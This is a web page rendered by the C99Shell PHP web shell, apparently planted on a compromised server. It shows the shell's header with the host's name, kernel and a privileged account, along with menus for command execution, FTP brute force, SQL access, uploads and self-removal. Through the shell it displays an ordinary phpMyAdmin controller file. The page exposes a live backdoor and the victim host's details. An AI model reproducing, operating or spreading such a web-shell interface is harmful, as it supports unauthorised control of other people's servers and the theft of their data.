!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Table/Maintenance/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OptimizeController.php (2.71 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table\Maintenance;

use 
PhpMyAdmin\Config;
use 
PhpMyAdmin\Controllers\Table\AbstractController;
use 
PhpMyAdmin\Dbal\DatabaseName;
use 
PhpMyAdmin\Dbal\TableName;
use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Http\ServerRequest;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Table\Maintenance;
use 
PhpMyAdmin\Template;
use 
Webmozart\Assert\Assert;
use 
Webmozart\Assert\InvalidArgumentException;

use function 
__;
use function 
count;

final class 
OptimizeController extends AbstractController
{
    
/** @var Maintenance */
    
private $model;

    
/** @var Config */
    
private $config;

    public function 
__construct(
        
ResponseRenderer $response,
        
Template $template,
        
string $db,
        
string $table,
        
Maintenance $model,
        
Config $config
    
) {
        
parent::__construct($response$template$db$table);
        
$this->model $model;
        
$this->config $config;
    }

    public function 
__invoke(ServerRequest $request): void
    
{
        
$selectedTablesParam $request->getParsedBodyParam('selected_tbl');

        try {
            
Assert::isArray($selectedTablesParam);
            
Assert::notEmpty($selectedTablesParam);
            
Assert::allStringNotEmpty($selectedTablesParam);
        } catch (
InvalidArgumentException $exception) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        try {
            
$database DatabaseName::fromValue($request->getParam('db'));
            
$selectedTables = [];
            foreach (
$selectedTablesParam as $table) {
                
$selectedTables[] = TableName::fromValue($table);
            }
        } catch (
InvalidArgumentException $exception) {
            
$message Message::error($exception->getMessage());
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'$message->getDisplay());

            return;
        }

        if (
$this->config->get('DisableMultiTableMaintenance') && count($selectedTables) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query] = $this->model->getOptimizeTableRows($database$selectedTables);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/maintenance/optimize', [
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--